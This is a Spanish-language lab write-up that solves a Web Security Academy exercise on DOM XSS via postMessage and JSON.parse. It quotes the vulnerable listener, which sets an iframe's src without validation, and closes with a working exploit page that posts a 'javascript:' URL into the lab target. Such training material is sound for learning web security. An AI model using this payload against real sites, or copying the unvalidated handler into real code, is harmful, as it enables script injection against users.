Skip to content

DOM XSS using web messages and JSON.parse

20251008174343.png

20251008174515.png

c
                    <script>
                        window.addEventListener('message', function(e) {
                            var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
                            document.body.appendChild(iframe);
                            try {
                                d = JSON.parse(e.data);
                            } catch(e) {
                                return;
                            }
                            switch(d.type) {
                                case "page-load":
                                    ACMEplayer.element.scrollIntoView();
                                    break;
                                case "load-channel":
                                    ACMEplayer.element.src = d.url;
                                    break;
                                case "player-height-changed":
                                    ACMEplayer.element.style.width = d.width + "px";
                                    ACMEplayer.element.style.height = d.height + "px";
                                    break;
                            }
                        }, false);
                    </script>

Entendamos mejor el código:

c
var iframe = document.createElement('iframe');
ACMEplayer = {element: iframe};
document.body.appendChild(iframe);
  • Crea un iframe invisible
  • Lo agrega al cuerpo del documento
  • Crea un objeto ACMEplayer para controlarlo

Procesamiento de mensajes:

c
try {
    d = JSON.parse(e.data);  // Convierte el mensaje a JSON
} catch(e) {
    return;  // Si no es JSON válido, ignora
}

Tipos de comandos aceptados:

  • Caso A: "page-load": Hace scroll hasta el iframe
c
case "page-load":
    ACMEplayer.element.scrollIntoView();
    break;
  • Caso B: "load-channel": Cambia la URL del iframe sin ninguna validación
c
case "load-channel":
    ACMEplayer.element.src = d.url;  // ¡Sin validación!
    break;
  • Caso C: "player-height-changed": Cambia el tamaño del iframe
c
case "player-height-changed":
    ACMEplayer.element.style.width = d.width + "px";
    ACMEplayer.element.style.height = d.height + "px";
    break;

En esta parte del código podemos inyectar código arbitrario, debido a que no hace una validación:

c
ACMEplayer.element.src = d.url;  // Sin validación

Ejemplo de solicitud:

c
window.postMessage(JSON.stringify({
    type: "load-channel",
    url: "javascript:alert('XSS')"
}), '*');

Usando esto, podemos explotar

c
<style>
  iframe {
    position: fixed;
    top: 0;
    left: 0;
    width: 100vw;
    height: 100vh;
    border: none;
    margin: 0;
    padding: 0;
    z-index: 9999;
    background: white;
  }
</style>

<iframe src=https://0a0c00ee04a055b78157b196000b00f6.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>